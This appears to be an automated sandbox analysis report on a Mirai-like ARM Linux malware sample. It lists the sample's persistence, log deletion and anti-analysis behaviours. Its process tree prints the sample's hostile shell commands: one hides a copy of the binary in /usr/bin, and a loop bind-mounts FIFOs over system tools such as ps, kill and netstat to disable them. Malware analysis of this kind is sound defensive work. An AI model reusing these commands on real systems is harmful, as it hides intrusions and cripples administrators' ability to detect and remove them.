Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian12-armhf-20250619-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    02/10/2025, 22:24

General

  • Target
    arm7.urbotnetisass.elf
  • Size 232KB
  • Sample251002-2blhgsv1bw
  • SHA256 cbbc768c826536615593040b59c54b05412ce8afd5d1db669db4b24afd275c9c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Deletes Audit logs 1 TTPs 1 IoCs

    Deletes logs related to the Linux Audit framework.

  • Deletes journal logs 1 TTPs 2 IoCs

    Deletes systemd journal logs. Likely to evade detection.

  • Modifies Watchdog functionality 1 TTPs 3 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Checks mountinfo of local process 1 TTPs 1 IoCs

    Checks mountinfo of running processes which indicate if it is running in chroot jail.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 3 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Reads list of loaded kernel modules 1 TTPs 1 IoCs

    Reads the list of currently loaded kernel modules, possibly to detect virtual environments.

  • Write file to user bin folder 1 IoCs
  • Writes file to system bin folder 1 IoCs
  • Modifies Bash startup script 2 TTPs 3 IoCs
  • Reads process memory 1 TTPs 1 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

    Execute scripts via Unix Shell.

  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/arm7.urbotnetisass.elf
    /tmp/arm7.urbotnetisass.elf
    1⤵
    • Deletes Audit logs
    • Deletes journal logs
    • Modifies Watchdog functionality
    • Checks mountinfo of local process
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Enumerates active TCP sockets
    • Modifies rc script
    • Reads list of loaded kernel modules
    • Writes file to system bin folder
    • Modifies Bash startup script
    • Reads process memory
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:784
    • /bin/sh
      sh -c "cp /tmp/arm7.urbotnetisass.elf /usr/bin/.sh"
      2⤵
        PID:802
        • /usr/bin/cp
          cp /tmp/arm7.urbotnetisass.elf /usr/bin/.sh
          3⤵
          • Write file to user bin folder
          PID:803
      • /bin/sh
        /bin/sh -c "for c in ps kill grep ls cat readlink mount umount awk sed cut wget curl top netstat ss lsof reboot shutdown halt poweroff; do mkfifo /tmp/\$c 2>/dev/null; mount --bind /tmp/\$c /bin/\$c 2>/dev/null; mount --bind /tmp/\$c /usr/bin/\$c 2>/dev/null; mount --bind /tmp/\$c /sbin/\$c 2>/dev/null; mount --bind /tmp/\$c /usr/sbin/\$c 2>/dev/null; done"
        2⤵
        • Command and Scripting Interpreter: Unix Shell
        PID:824

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          rc.local

          • Path /etc/rc.local
          • Size 17B
          • SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
          • MD5 SHA1 SHA512

          rc.local

          • Path /etc/rc.local
          • Size 32B
          • SHA256 9128b5050b1505ac764248662656c6ed974739f7c07e28505b6e731772f7e7d5
          • MD5 SHA1 SHA512

          .broken_shell

          • Path /tmp/.broken_shell
          • Size 137B
          • SHA256 c102dc8cd4c206f5cdc178fc498df4b15dfd43d17123867fffaf44220383c7d4
          • MD5 SHA1 SHA512

          .mock

          • Path /tmp/.mock
          • Size 388B
          • SHA256 b0082567296e2db8275072c23020cb893dd58ba8b995d49a0d531908f884b19a
          • MD5 SHA1 SHA512

          .taunt

          • Path /tmp/.taunt
          • Size 796B
          • SHA256 39bd06f3e25159f5fece6db6c7a6e0f25d5be5a46be90bacda7a9ea3d71b95f9
          • MD5 SHA1 SHA512